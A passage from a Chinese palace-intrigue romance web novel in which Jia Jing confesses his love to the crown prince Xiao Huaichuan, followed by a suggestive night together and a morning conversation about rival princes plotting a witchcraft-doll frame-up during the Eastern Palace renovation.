薛阁老的那位孙子,金科状元?还是阿元称兄道弟的那位宋子虚?亦或是…… 他越想,眼中妒意就愈发浓郁,心中也更是酸涩,仿佛倒了一老坛的陈醋。 萧淮川偏头间,微露的犬齿就贴着那微微起伏的雪白颈边,仿佛下一瞬就会叼断面前这修长脖颈。 贾敬感觉到脖颈处覆上了一抹微凉,心慌使得他眼眸晃动。 是萧淮川的唇! 轻微的喘息声贴着贾敬的颈侧,贾敬的脖颈此时不受控制地火热一片,更觉那贴着的唇清凉诱惑。 鼻尖萦绕着他抗拒不了的清冷松香。 若是可以,他愿一直沉迷…… “轰隆!” 一声惊雷乍响,屋外雨下得更猛,猎猎凉风吹进,贾敬一个激灵。 贾敬闭了闭眼,稍稳心神,手向后,一把握住萧淮川滑至腰际的手腕,将那只烙得他浑身战栗的大掌带离。 “不,我不喜欢他。” 贾敬声音较先前也定了许多,认真且郑重。 “那你喜欢谁?”萧淮川自己都可能未发现,他言语中的焦急。 贾敬于黑夜中,缓缓勾起了唇。 第100章 该说不说, 萧淮川熟悉贾敬,而贾敬也熟悉萧淮川,旁人难以企及。 只刚刚萧淮川脱口而出的那句话, 虽未直白袒露,也足以让贾敬明白其中深意,如愿知晓了萧淮川的心思。 正如贾敬前些日子与史云棠谈及的那般, 萧淮川对他的情谊绝不浅薄。多年相伴, 萧淮川早已习惯了对贾敬好, 点点滴滴, 深入脊髓。 贾敬以为,若是没有什么特殊契机,萧淮川或许会一直不曾察觉。 因此, 他心底的不甘, 才诱发了这次春风楼之事。 萧淮川流露出的失态和紧张,都令贾敬明悟、惊喜。 贾敬紧紧擒着萧淮川的手腕,修长的手指在其腕上轻轻摩挲。黑暗中,贾敬看不清萧淮川的面容, 却能清晰感受到,自己刚刚那一举动, 令萧淮川手臂猛地往回缩了一下。 其手腕处的筋骨瞬间变成一张被拉紧的弓弦, 绷得笔直。若不是贾敬紧紧攥着, 萧淮川已然收回了手臂。 原来, 往日里冷静自持、镇定自若的萧淮川也会紧张。 想到这里, 贾敬原本就扬着的笑意又深了几分。 许是知道了这个小秘密, 贾敬心中的紧张消散了许多, 又念起方才萧淮川故意撩拨他的事情, 贾敬已然记在了心底。 “我知道淮哥关心我, 先前我与各家贵女小姐相看之时,淮哥就没少给我建议,这次淮哥可是要替我保媒拉纤?” 最后两字的尾音被贾敬拉的极长,那语调听着很是戏谑调侃。 贾敬也是故意提起先前萧淮川为他相看姑娘小姐们所做的种种事情,曾经说过的那些话。 这些话也确实如小刀一般,一把一把戳着萧淮川心窝子,心头不由得一阵阵发疼。 “保媒拉纤……”萧淮川将这个词在唇齿间辗转。 忽的,萧淮川像是想到了什么,呼吸瞬间急促了几分。 “阿元何须我来保媒拉纤?” 贾敬眉头微微一挑,听着萧淮川接下来的话。 萧淮川下意识就反握过贾敬的手腕,牢牢扣着,“阿元不是说,只愿和心仪之人白头偕老吗?” 不等贾敬回答,萧淮川又问:“上次你为了相看姑娘小姐一事,顶撞了你兄长,惹了你兄长震怒,不惜家法罚了你,是否和此事有关!” 萧淮川声音还算平稳,可背后透露着一阵逼问之意。 好在贾敬并不反感,他点头承认,“是。” 萧淮川:“你这件事……你兄长也已知晓?” 贾敬接着点头,“是。” 萧淮川阖了阖眼,嘴角不禁泛起一抹苦涩,果然! 原来是因为这件事! 先前不解之事,如今都有了缘由。 萧淮川的手又紧了几分,贾敬稍稍蹙眉,却没说什么。 “阿元可是已经有了心悦之人?” 萧淮川一个字一个字艰难地从牙缝里把这句话挤了出来。 其实,在问出这个问题之前,萧淮川的心里就已经有了答案。 他又怎会不知呢? 若不是阿元心有所属,贾敷又怎么会发那么大的火,甚至毫不留情地下了重罚? 只是,他仍然不愿相信,仍然想要亲耳听到阿元亲口承认这一切。 那个人究竟会是谁? 竟能让阿元不顾世俗、不惧礼法地违抗亲人族法,义无反顾,在所不惜做到这一步。 那个人何德何能? 越是这样想着,萧淮川的心犹如被烈火焚烧一般,上面泼上烈酒,辣的发疼。 “我确实有心悦之人。” 贾敬的话音刚刚落下,萧淮川方才紧绷着身体骤然僵住。 空气凝滞,没有丝毫声响,不知过了多久,萧淮川才缓缓开口: “是谁?” 声音低沉的宛如猛兽呜咽。 “为何不说话?”萧淮川见贾敬不说话,只觉得喉头被什么东西扼住一般,发□□息,“阿元的心……心悦之人,不方便告诉我吗?” 便是贾敬看不清萧淮川的神情,这微微颤抖的声音里夹杂着那丝丝小心和急切,也不安破碎得令人心颤。 贾敬记着刚刚萧淮川撩拨他的事情,自己被萧淮川撩拨的失了态,贾敬也觉羞赧,这才忍不住逗弄萧淮川一番。 可如今见萧淮川这番模样,实在不忍心再继续逗他。 心里又觉有些好笑。 贾敬自忖平日里伪装并不到家,就连他兄长和嫂子都能看出他的心思和情意,萧淮川却猜不出。 “淮哥以为是谁?” 未等萧淮川开口,贾敬一只手摸黑抓住了萧淮川垂落的发丝,手指一圈圈将萧淮川的那一缕发丝缠绕着。 另一只被萧淮川握着的手也已经不动声色地穿插,与萧淮川十指相扣。 外面骤雨已歇,没了烛火的屋子黑黝黝。贾敬正对着萧淮川,目光直直向前。 贾敬并不能看清萧淮川的脸,也因为这样,贾敬难得没有那么紧张。此时,他的心很是平和。 “我想要执子之手,与子偕老的人。” 贾敬可以感受到,与他十指相扣的那只手,在微微发颤,像是在忍耐着什么。 他们的掌心湿漉漉,冒着汗,也不知是萧淮川的,还是贾敬的,或是,是他们两个人的。 “我想要白头偕老的人。” 萧淮川那里稍稍动了动,缠绕在贾敬指尖的青丝稍稍绷直,传来微微刺痛,戳着他有些飘忽的心。 他已经不敢呼吸。 “我的心悦之人,只有你啊。” 屋内再次寂静。 贾敬也不在意。 他此时异常的平静,这是贾敬自己都未曾预料的。 他两辈子没能说出的话,他今日终于说了。 贾敬眼中脸上是只有他自己知晓的释然和畅快。 对着他想要倾诉的人说了。 万幸,那个人还活着。 万幸,那个人听到了。 贾敬的心头像是凭空移走了几座大山,他曾被压着喘不过气。 萧淮川此时已然怔住,他怎么也不敢相信自己的耳朵,那双凤眸中满是难以置信。 他与贾敬相扣的手心汗涔涔一片,另一只手则是下意识抚上了贾敬的肩头,喉结上下滚动,喑哑着嗓音, “你……方才说什么?” 贾敬轻笑出声,清脆的声音在静默的屋内响起,似初春融化的冰凌化水滴落,滴在萧淮川焦虑灼热的心头。 他自刚刚开过口,再说一次也无妨。 贾敬不退反进,手指松了那抹青丝,一路向上,抚摸上了萧淮川的脸,指腹抵住了萧淮川先前作乱的唇上。 稍稍一擦。 “我的心悦之人,是你,萧淮川。” 贾敬鲜少念萧淮川的名字。 一来储君名讳,旁人岂能随意唤之;二来,先前他与萧淮川的关系,最近最亲,也只是这层了。 而现在,贾敬想要唤萧淮川的名字。 “你可知道你在说什么?”萧淮川眼底晦涩一片,缓缓开口。 “自然,我此时比往常都要清醒。”贾敬语气轻快,“不是淮哥你逼问我的吗?” “此时不敢听了?” 贾敬甚至调侃起萧淮川来。 “你之前撩拨我,我也想逗逗你,看你着急的样子,却不想让你这般难过,是我不好。” “可我也没想到,你竟然连自己都猜不到。”贾敬叹了一句,好似很是无奈。 “我身边哪里会有其他人?这么多年,只有你……” “唔……” 贾敬话未说完,整个人就被扯着撞入一个滚烫灼热的胸膛,不由得吓得闷哼了一声。 他听着那胸膛处传来的擂鼓般的心跳声,唇刚刚勾起,刚想开口说什么,下一瞬,就被噙住,将喉间一切话堵了回去,紧紧相贴间,清冷松香混着一丝丝血腥在唇齿间蔓延开来。 贾敬缓缓闭上眼,一滴泪顺着贾敬的眼角滑落。 唇瓣相贴处都尝到那丝淡淡咸意。 萧淮川一怔,他有些慌乱,以为贾敬不愿,刚稍稍松开口,却不曾想贾敬双手攀上了萧淮川的脖子,将两人贴的更近了几分。 “……唔……” · 两人分开始时,皆是气喘吁吁。 贾敬大口喘着气,稍稍扯动嘴角,就感受到一阵刺痛,手下意识碰了碰,那是萧淮川一上来开就啃的地方。 “怎么还咬人呢?” 贾敬不免嘟囔出声。 萧淮川斜靠在床边,长臂搂着贾敬,自然听见了贾敬的这话,狭长的凤眸眯起,凑在贾敬耳垂旁,轻声道: “是阿元太热情了,我一时没忍住,对不住。” 明明是道歉的话,贾敬却觉得自己被萧淮川调戏了,脸较之前更红,发烫。 “没脸没皮的。” 萧淮川脸上笑意更浓,眼眸稍稍一挑,眼底划过一丝暗色。 他垂首含住贾敬的耳垂,犬齿轻轻撕磨。 “啊……” 贾敬哼出了声,声音似猫爪一般,带着钩子。 “别闹……” 耳朵那处是贾敬的敏感处,被萧淮川这么一折腾,他瞬间软了腰,桃花眼不由得泛起一层水光。 忽的,贾敬像是意识到什么,僵住了身子,他抖着手想去推开萧淮川。 萧淮川感受到贾敬的抗拒,微微拧眉,询问:“怎么了?” “没事!” 贾敬矢口否认有事,可脸上羞意却不减反增。 萧淮川刚刚的那一番举动,贾敬居然被他勾出了反应! 幸好是在夜里,没亮灯,萧淮川看不见,也不知道,不然贾敬恨不得直接钻到被子里去。 可贾敬与刚刚明显有了反差的举动,令萧淮川生疑,有些飘忽的脑子也瞬间回到了原位。 他揽着贾敬,不让贾敬远离,“到底怎么了?” 贾敬见他们二人贴的越来越近,更加起了羞涩,挣扎地越狠,“真没事,你……” 话刚开口,贾敬忽的顿住,口中的话就这么僵在了嘴里。 他刚刚蹭到的……是什么? “你……”贾敬猛地转头看向萧淮川。 虽然他也看不见萧淮川的脸。 萧淮川此时也停了下来,有些不解,等着贾敬开口。 贾敬感受着自己碰触到的那处热源,咽了咽口水,“你不是说……” “你不举吗?” 又是一片寂静。 “呵。” 萧淮川一声笑打破了凝滞住的空气。 贾敬睁大眼眸,也意识到了什么,“你骗我的!” “你为什么要说……” 话问了一半,贾敬便噤了声,他已然猜到了缘由。 萧淮川坦然回答:“既已发觉对阿元你的情意,便要想办法将一些麻烦问题,拒之门外。” 贾敬恍然,萧淮川与他说自己有难言之隐时,就已然明了自己的感情了? “阿元怎么这般惊讶,我看阿元也很是精神。” 被萧淮川这样一说,贾敬当场就想给自己蒙被子。 转念一想,萧淮川不也如此? 贾敬已经放弃挣扎,他直接推了萧淮川一把,吩咐道: “去把灯点上,都摸黑一晚上了。” 萧淮川听话的松开贾敬,站起身,让自己不那么尴尬,也让贾敬冷静冷静。 又从一旁矮桌上,摸到一个火折子,将烛火点上。 暖黄的灯光徐徐照亮幽暗的寝室。 “你那时就想好了?”贾敬脸上热意渐消,看着烛光下棱角分明的那张脸,不免反问。 萧淮川坐在床榻边,手轻轻抚摸上贾敬的脑后青丝,叹了口气。 “比起你,我迟了太多。” 萧淮川想到贾敬一人面对贾敷史云棠坦白时,心就揪在了一起。 在他浑浑噩噩,不知所觉时,阿元一人承担了多少折磨? 看清情感,并想清楚如何面对,这样的折磨煎熬,萧淮川经历过,所以他明白,他心疼。 “若是没有这一遭,你是不是都不想让我知道这一切。” “你就没想过让我知晓,对吗?” 萧淮川终是问出了口。 贾敬浅浅垂下眼睑,卷翘浓密的长睫投下一层暗影,摇了摇头。 “不是。” 萧淮川不信,“你考虑过告诉我?” 他没瞧出来。 贾敬抿了抿唇:“我若是真的想要瞒着你,我今日就不会在萧淮洵面前做出这么一场戏了。” 萧淮川顿住,眼眸深深盯着贾敬瞧,“我若是没来,或者没寻你呢?” 贾敬垂眸,没说话。 萧淮川觉得不对劲,“不,不该是这样。” 他重新问贾敬,“我对你有情,你早就知晓了。” “比我自己看清,还要早。” 贾敬的唇角稍稍勾起。 “你就那么笃定?那么信任我?” 贾敬眉眼弯起,“你是一直护着我的萧淮川啊!” 【作者有话要说】 啊啊啊啊我终于是憋出来了,呜呜呜[可怜][可怜]【你现在阅读的是魔蝎小说 moxiexs】 100-110 第101章 翌日清晨, 阳光斜照穿过雕花窗棂。 光稍稍透过帐幔缝隙映在贾敬脸上,他的眼睫颤了颤,眼皮微动, 缓缓睁开眼。 入眼的便是萧淮出凸起的喉结,正被贾敬的鼻尖抵着。 贾敬嗅着弥漫在周身的舒心松冷清香,先是一愣, 紧接着昨晚的记忆一一在脑海中浮现。 昨晚借着酒意和情绪说的那些话, 做的那些事…… “蹭”的一下, 贾敬的脸便一阵发烫, 下意识抿了抿唇。 被萧淮川啃破的唇角还贴着萧淮川的锁骨,贾敬盯着那锁骨,想起昨夜萧淮川对自己做的那些事, 美其名曰怕他憋坏了, 帮他松快松快。 贾敬一时不察,晕了脑袋,着了萧淮川的道。 一想到自己后来都哑了嗓子,软了身子, 直呼好了,萧淮川也没放过他。更过分的是, 他帮萧淮川, 手都累的酸软不得劲了, 那个畜生还没好! 最后贾敬实在累的不行, 所幸躺着迷糊睡去, 随萧淮川任意摆弄去了。 贾敬感受着身上的清香, 和干燥清爽的中衣, 也猜到萧淮川后来结束后, 是将两人好好收拾清洗, 才上床睡的觉。 还算贴心。 但贾敬还是不由得磨了磨牙,他偏了偏脑袋,直接冲萧淮川的锁骨啃去。 “醒了?”头顶传来一声沙哑的闷笑。 贾敬动作一滞,心虚的缩了缩脑袋。 “阿元一大早醒来,便亲了我,可是觉得我秀色可餐?” 萧淮川说话时稍稍滚动的喉结蹭过贾敬的脸颊,轻微的触感让贾敬的脸又烫了几分。 心里却暗骂一声,萧淮川经过昨晚之事,越发没脸没皮了。 贾敬没好气道:“梦见猪蹄子了。” 萧淮川故作没听懂贾敬的话:“哦?看来阿元昨晚着实是累着了,今天可得好好补补。” 见萧淮川提及昨晚,贾敬的气息瞬间乱了几分,手撑着想要起身,掌心却按在萧淮川随意敞开凌乱的寝衣领口上。 “砰砰砰”的心跳声在手心下如擂鼓一般,贾敬的手指下意识蜷缩,刚要将手收回,萧淮川却忽然扣住贾敬的手腕,就让贾敬的手心摁在他的心口之上。 “阿元躲什么?”萧淮川垂首低语,温热的唇擦过贾敬的耳廓,不知的有意还是无意。 贾敬倏地捂住发痒敏感的耳朵,他动了动,想要避开萧淮川呼吸喘出的滚烫气息。 “时、时辰不早了,快起身吧,你别耽误了早朝。” 贾敬说着就准备起身,刚动,腰间被一有力的臂膀揽住。 萧淮川语气慵懒,“无事,我已经让人告了假。” 贾敬动了动,“我、我也要去翰林院上值了。” 萧淮川:“翰林院那边,也已经帮你告了假。” “那也不能不起床啊。” 贾敬挣扎了几分,腰间桎梏牢固,他没挣脱出。 “呵。” 萧淮川轻笑出声,贾敬哪里看不出他的故意的,直接抬眸横了萧淮川一眼。 “我劝阿元,别动了。”萧淮川深邃的凤眸暗了暗。 贾敬刚要说什么,萧淮川故意移了移身子。 忽的,贾敬像是感受到了一阵熟悉的热感正抵着自己的腰。 贾敬难以置信的目光里又掺杂着羞愤,萧淮川有些无辜地回望着他,“阿元,这是一个正常男子早起都会有的情况。” “我相信阿元你也……”萧淮川话没说完,久被打断。 “松、开!我、要、起、身!”贾敬咬着牙,一字一顿。 腰间桎梏一松,贾敬顺势掀开被子下了榻,赤脚踩在床踏上,虽是木制,但泛着的冷意还是让贾敬踩地的脚趾蜷缩了起来。 脑子也彻底清醒了过来。 “穿鞋。” 贾敬又不是跟萧淮川置气,听话的穿了鞋,又听萧淮川的话,拿起旁边为他准备的外衣,穿了起来。 萧淮川也起了身,他斜靠在床边,一条长腿支起,一条长腿随意垂在床边,看着贾敬快速到甚至兵荒马乱的穿着衣服,暗自挑了挑眉。 好似慢一点儿就会被人怎么着一样。 “唉。”萧淮川叹了口气,“这也不能怪我。” 贾敬系着衣带的手一顿,没回头,耳朵则是在听着,心里忿忿,看这个没脸没皮的还能说出什么。 他现在手还发酸的颤抖呢。 “阿元先前为我准备的什么黄芪汤,着实太补了。” 贾敬手下一乱,衣带直接系了个死结。 这还怪上他了? 明明是萧淮川先说他不举的!那脆弱模样,贾敬能不管他吗! 又想起昨晚萧淮川在他手中的精神模样,贾敬彻底冷了面,面无表情。 贾敬背对着萧淮川,一个眼神也没给萧淮川。 终于穿好衣服,贾敬也不管身上衣服因穿得急而有些皱巴巴,见总算穿戴好,他兀自松了口气,一回头就对上萧淮川略显幽怨的凤眸。 “干、干什么这么看着我?”贾敬被萧淮川盯着,说话都磕绊了一下,“给你喂那汤,也是你遮掩的那套说辞在先。” 眼睛则是不自觉得朝下看起,瞟着萧淮川某处。 萧淮川幽幽开口:“阿元可知你这做派像极了什么?” 贾敬不解:“像极了什么?” “像极了那种一夜春风后便无情翻脸的恩客。”萧淮川语出惊人,意思不就是贾敬白女票了当朝太子? 贾敬哽住,他何时说过不认了? 他既决定了向萧淮川坦白,贾敬就未曾后悔过,也不想否认什么。 只是他们二人昨夜情乱,荒唐一夜,虽未做到最后一步,可在贾敬看来,也已太不成体统了…… 贾敬这边还未反驳回去,就又听萧淮川开口: “也是,是我忘了,昨晚阿元在春风楼一举,今日全京城应该都传遍了你贾培元的风流之名。” 酸涩之言,扑面而来,贾敬下意识抬起手扇了扇,看向萧淮川的目光也一言难尽。 “那些人也只会记得那个小戏子……”萧淮川满脸落寞。 贾敬听了萧淮川的话,脸上闪过一抹思索,紧接着他便勾起了唇,“合该这样。” 刚好给他们之间的事情做遮掩。 萧淮川自然也明白了贾敬这句话的意思,只是他万万没想到,贾敬居然会这样想,瞬间有一种搬起石头打自己的脚的憋闷。 他眯起眼,眼底滑过一丝不易察觉的危险,但嘴角下撇,说出的话显得好不可怜。 “阿元,那我呢?” 贾敬故意当做没明白萧淮川的话,“你?” “你觉得我们这样光彩吗?”贾敬俯首,凑近萧淮川,伸手在萧淮川的锁骨上戳了戳,“只能委屈太子殿下,和臣一起,私下偷情了。” “可不能让别人知道了。” 贾敬说完刚准备转身,整个人便被揽住腰身,扯着跌进清冷松香萦绕的怀抱里。 萧淮川低头,与仰躺在他怀里的贾敬,额头贴着额头。 “二爷当真狠心。” 贾敬身体颤颤,眼皮轻轻掀起,对上萧淮川的目光,吐出一句话,“我这话是认真的。” 萧淮川望着贾敬那双冷静郑重的眼睛,自然知道,贾敬这话是认真的。 萧淮川没回答,只是伸出手抚摸上贾敬鬓边的发丝。 贾敬见萧淮川没说什么,一时拿不准萧淮川的态度,他握着萧淮川的手腕,“淮哥,不可轻举妄动。” “阿元……”萧淮川轻轻唤了一声,“你的顾虑,我明白。” 贾敬眼中的担忧,萧淮川看得真切。贾敬先前所忧虑之事,不惜伤了身子,如今萧淮川也终于明白是为了谁,是为了他。 萧淮川心像是被蛰了一下,刺的心疼。 “我怕你委屈。” 贾敬一怔,这句话,昨晚萧淮川说过。 现在他才明白,萧淮川当时为何那般说。 萧淮川反手,与贾敬十指相握,目光灼灼,“以后的路,我们一起。” 他说过,他会护着阿元。这是他对阿元的承诺。 他必然不会让阿元一直委屈。 贾敬望着眉眼,“好,” 小德子早就带着一群小丫鬟在外等着了,萧淮川喊了一声,小德子立刻应了。 他先是一人向前,敲了门,“殿下,奴婢进来了。” 萧淮川应了后,小德子才小心翼翼地将门开了个缝,自己挤了进去。 “殿下,二爷,可要洗漱?” 他憨憨笑着,对萧淮川和贾敬亲昵的动作没任何惊讶。 倒是贾敬抬眼看了小德子一眼,又朝萧淮川使了个眼色。 萧淮川颔首,“放心,小德子不错。” 小德子受宠若惊。 待贾敬和萧淮川一起洗漱完,桌上已经摆好了朝食,小德子领着一帮人退下,屋内再次只剩下贾敬和萧淮川两人。 “那小太监,你倒是很看重。”贾敬舀了一勺粥,吹着,随意问道,“这些时日都见他跟着你,忍冬都见得少了。” 萧淮川拿着筷子的手,微不可察的顿了顿,只一瞬,就将为贾敬夹的莲花糕放入他面前的盘中。 “尝尝这个。” “东宫事务繁多,最近东宫还在筹备修葺,他这位东宫总管可有许多事忙。小德子还算机灵,跟着身后跑腿也合适。” 贾敬点点头,夹起莲花糕尝了,吃着吃着,他像是想到了什么,咀嚼的速度缓了下来。 萧淮川眼眸微动,“怎么,不喜欢?” 贾敬摇摇头,将莲花糕吃完,才道:“东宫修葺,是要迎娶太子妃了吗?” 第102章 萧淮川听贾敬这样问, 立刻将手中的筷子放下,有些紧张地望着贾敬,“阿元, 你放心,不会有什么太子妃。” 贾敬抬眼,见萧淮川如临大敌的模样, 不禁失笑, “我只是问一句。” 说着顺手给萧淮川夹了一个水晶翡翠虾饺, 随意调侃道:“没想到也能见你这般紧张, 难得。” 萧淮川看了贾敬一眼,重新拿起筷子,没说话, 只是夹起那虾饺吃了起来。 贾敬轻笑, 手中瓷勺碰上青瓷碗沿,笑声撞上“叮当”声,萧淮川望着贾敬舀起一勺粥吃得开心,方才的紧张也跟着消散了。 “他们想要修葺东宫的目的, 除了想要迎太子妃入东宫,还有什么?”贾敬话锋一转, 看似不经意的问出口。 其实, 这才是他刚刚开口想要问的。 萧淮川夹起一块腌笋搁进贾敬碟中, 听贾敬这样问, 稍稍眯起眼, “大抵是想捞一笔这里面的油水。” 修缮宫殿、陵寝需要大兴土木, 这里面有大家众所周知的油水可以捞。 “不过, 如今我掌管着户部, 这银两花销, 自然不会让他们那么简单糊弄了去。” 萧淮川见贾敬眼底带着担忧,不免伸出手,拍了拍贾敬扶着碗的手背,“阿元难道还不信我?” “怎么会。”贾敬摇了摇头,可担忧却未消失。 萧淮川不清楚,他却清楚萧淮洵他们想在这次修葺东宫中做什么。 埋下巫蛊之术,只待修缮好后,年底宫宴将那巫蛊娃娃翻出来。 贾敬的不对劲,萧淮川瞬间捕捉到,他捏了捏贾敬的手,“阿元是有什么事想说吗?” “是。”贾敬点头,“他们的目的绝不是想要贪墨一些款项银两那么简单。” “阿元是知道了什么?”萧淮川忽的想起,“你昨日在春风楼那一出,不仅仅是为了把萧淮洵包养戏子好男风那一名声传扬出去。” “阿元,你是不是已经知晓,萧淮洵投奔了萧淮泽?” 贾敬眼里划过一丝惊诧,“淮哥,你知道他们勾结在了一起?” 他还一直以为萧淮川并不知晓这件事,没想到,他竟然明了。 萧淮川颔首,“所以,你此举是要让萧淮洵和萧淮泽之间因此事,产生嫌隙,从而找出这里面的疏漏和破绽。” 贾敬笑着没应,萧淮川却已经明白,就是他猜测的那般,不由得抬手点了点贾敬,“你果然够精。” “他们二人联手,淮哥怎么看?”贾敬询问。 萧淮川:“怎么看?他们两人凑到一起,意料之中。” 无论是萧淮洵,还是萧淮泽,都不会站到萧淮川这边,他们联手对付萧淮川,是再正常不过。 贾敬沉默,确实如此,“淮哥何时知道的?” 萧淮川稍稍颔首:“说起来,老三能拿捏老二,还是我在后面推了一把。” 贾敬一愣,骤然明白为何柳阙等世家子弟里会有人知道,按理说,萧淮洵会将此事瞒得密不透风,原来这背后,居然有萧淮川的手笔。 “这样不是让萧淮泽得意吗?”贾敬有些不解。 “得意?”萧淮川缓缓勾唇,“就是要他得意。” “若是他们分开,难免要多分散一些注意力。” “倘若是这样。”萧淮川手执着筷子,将相对着摆放的两枚花糕叠在一起,一并夹到贾敬的碗中,“便能省下许多功夫。” 如今又有贾敬在他们之间挑拨了一下,互相猜忌,却又不得不绑在一起,萧淮川都佩服贾敬这神来一笔。 贾敬顺势夹起一个放入口中,慢条斯理地吃完,才道: “萧淮洵虽不会直接怀疑萧淮泽泄露了这件事,但流言缠身,捅到圣上那里,他绝讨不到好处。” “而萧淮泽看似是他的盟友,实则在这里拿了好处,萧淮洵怎会甘心?” “萧淮洵本就是受胁迫才向萧淮泽妥协,本是为了藏着这事,如今弄得满京城都知,那么他作为贵妃之子,还会再对出身不显的萧淮泽言听计从吗?” 贾敬说着抬起眼眸,对上萧淮川的目光,两人相视一笑。 萧淮川:“阿元方才说,他们的目的不仅仅是为了贪墨银两,是还知道了什么?” 贾敬也不打算瞒着萧淮川,他先提了水青,“萧淮洵喜欢的正是崇雅堂的台柱子水青,人称青老板,淮哥应当知道吧?” 萧淮川点头,贾敬接着说,“那水青可不甘愿跟着萧淮洵。” “他就是个逼良为娼的混蛋。”贾敬满脸鄙夷,“水青也早有自己所爱之人,他……” 贾敬就将他这些日子跟踪水青,前往南无寺,知晓了和尚净尘,也就是李清臣,他和水青的往事。 萧淮川稍稍挑眉,他知道平日里萧淮洵干了许多强取豪夺的事情,却第一次知道这么详细。 “那你昨日去春风楼,是与那青老板商议好,故意设了一个局?”萧淮川盯着贾敬,缓缓开口。 贾敬身子微微一滞。 还真不是。 他前往春风楼,只是想要一探王大人的虚实,喝醉酒误闯进王大人的雅间,这是贾敬一开始就计划好的。 但从李玉衡给他的酒中下药的那一刻开始,之后的发展,都是贾敬的随机应变。 贾敬上一世在玄真观,别的事情没怎么干,但是各种丹药是没少研究,其中有许多草药都是会令人亢奋精神。 恰巧,李玉衡倒的料,贾敬知道,并且凑近一闻便闻了出来。 贾敬先是在李玉衡的眼皮底下,用障眼法,看似喝了那杯掺了料的酒,实则被贾敬倒了。 之后贾敬便顺着李玉衡,瞧瞧看他到底是何计谋。等到了青老板那间门外,贾敬就明白李玉衡打着什么算盘了。 贾敬随着李玉衡的力度,进了屋,待李玉衡一走,贾敬瞬间就在青老板面前亮了自己手中的牌。 当青老板从贾敬口中听到“李清臣”的名字后,立刻做出了配合贾敬的决定,这也才有了贾敬后续让水月替青老板闹出动静,引来萧淮洵,再由青老板出面,打消萧淮洵的怀疑。 可这些,贾敬可不敢告诉萧淮川。 “是。”贾敬微微垂眸,将剩下的那块花糕夹起吃了。 萧淮川眯起了眼,他说过,他熟悉贾敬,贾敬这心虚掩饰的模样,他自然看得出。 贾敬吃得很快,还未等萧淮川说话,贾敬再次开口: “他们想趁这次修葺东宫的契机,做一些手脚。” 萧淮川自然也看出贾敬转了话题。 他定定地看了贾敬好一会儿,萧淮川还是妥协了。 “他们想要做手脚?” 萧淮川想到了一种可能,摇了摇头,“他们不敢。” “若是东宫的宫殿塌了,那绝不是认错可以推脱的,也不是随便拉出一个人出来顶罪就可以作罢。” 贾敬抿了抿唇,白皙的手指紧了紧手中的筷子,终究是开了口,“他们确实不敢做这件事。” “他们只是想在东宫的房梁大柱上,藏一件东西。” 萧淮川没说话。 贾敬眼睛转向萧淮川,直直地看着他,吐出几个字,“巫蛊娃娃。” 萧淮川眼眸沉了沉,依旧没有说话。 贾敬以为萧淮川不信,手下意识握住了萧淮川的手,语速快了几分, “我说的都是真的,这……”贾敬说着顿了顿,“这都是青老板跟在萧淮洵身边听到的。” “萧淮泽联合萧淮洵就是为了办成这件事,东西是萧淮泽找来的。” 这些自然不是青老板告知贾敬的,这些都是贾敬上一世自己查到的东西,但现在,他也只能借青老板之名,告诉萧淮川。 “阿元别急。”萧淮川见贾敬这般着急,反手拍了拍贾敬的手背,安抚道,“你说的话,我不会不信。” 萧淮川说完冷哼了一声,眉眼微动,“他们倒是胆子大,敢碰这件事。” “倒是选了个……省事轻巧又大逆不道的计谋。” 贾敬舔了舔因为说话有些发干的唇,接着告诉萧淮川他知道的事情,“神宫监王定,是萧淮洵的人。” 萧淮川轻覆在贾敬手背上的手骤然一紧,眼眸瞬间变得犀利。 萧淮川神情的变化,让贾敬跟着心头一跳,“怎么了,可是有哪里不对劲?” “此话当真?” 贾敬:“千真万确。” 他知道萧淮川可能会不信,就算是其他人,也不会相信,神宫监的掌印太监居然是一个年轻皇子的亲信。 但这一切都是贾敬上一世经历过。 王定确确实实就是萧淮洵的人,萧淮洵还让其去封地养老,安享晚年。 按理说,王定当年参与谋害萧淮川一事,最稳妥的办法,就是让他永远的闭嘴,可想而知,萧淮洵为了保下他,从萧淮泽哪里要到了怎样的承诺。 贾敬一想起上一世,他与萧淮川的最后一面,萧淮川当着他的面倒下的那一幕,心骤然疼痛,呼吸瞬间乱了。 “淮哥,你一定要小心,提防着他们。”贾敬此时脸色白了几分。 “好。” 萧淮川见贾敬如此,也透露了一则消息,“我也发现了一些端倪,如今你这么一说,我心中便有了数。” 贾敬愣怔,萧淮川已经发现了端倪? 他早已经知道王定此人不对劲? 贾敬又忆起萧淮川先前的话:萧淮川知道天丰帝对他的忌惮,知道齐王梁王这两位弟弟对他储君之位的觊觎,也知道齐王的软肋…… 萧淮川知道这么多事情,掌握这么多线索,为什么上一世,那个漏洞百出的巫蛊之术陷害,却能害死萧淮川? 之前的疑惑不解,再次涌上贾敬的心头。 紧接着,便笼罩上了一阵莫名的恐惧。 萧淮川,为什么? 第103章 “在想什么?”萧淮川见贾敬神情恍惚走了神, 眉眼压低了几分,“可是有什么不妥的地方?” 贾敬猛的垂下眼睑,遮掩住眼底情绪, 拿过旁边的茶杯,一杯凉茶就灌了下去。 如今的萧淮川又怎知上一世的事情。 贾敬压下心中的惊意,放下茶杯, 牵起嘴角, “没什么。” “就算渴, 也不能牛饮, 伤身伤胃。”萧淮川有些不赞同刚刚贾敬那样灌凉茶。 贾敬乖巧点头,让还想开口说什么的萧淮川瞬间顿住,最后无奈作罢。 “叩叩叩。” 门外传来一声敲门声, 紧接着就是小德子的声音, “殿下,方才何五递来了消息。” 贾敬知道,何五是萧淮川手下的暗卫。 萧淮川:“进。” 小德子小心推开门,步子快速踱到萧淮川面前, 呈上一封密封,就又快速撤了出去。 萧淮川将密封拆开, 一目十行的看完, 随手就递给了贾敬。 贾敬指了指自己:“给我看的?” “嗯。” 贾敬这才接过萧淮川手中的密封, 看着看着, 脸上不由得爬上了喜意。 萧淮川挑挑眉, “知道萧淮洵被罚禁足, 这般高兴?” 贾敬声音带着雀跃, 一扫之前的烦忧:“当然, 说明我的目的达到了。” “圣上亲自降旨, 命萧淮洵在府中禁足,让其修身养性。” “看来圣上早已经知晓昨晚萧淮洵在春风楼的事情了。” 萧淮川沉着一张脸,手轻点着桌面,故意问贾敬,“你就不担心,他因萧淮洵的事情,迁怒罚了你?” “毕竟你可是捅了个大麻烦出来,让他丢了脸。” 但凤眼里含着的笑意却没藏着。 贾敬知道萧淮川是在逗自己,也顺着他的话往下说,“萧淮洵令他丢脸不假,可我与他身份不同。” “京中纨绔数不胜数,不过是与戏子厮混,当不得什么大事。” “我若是真的因这件事坏了名声,或许,圣上还会高兴呢。” 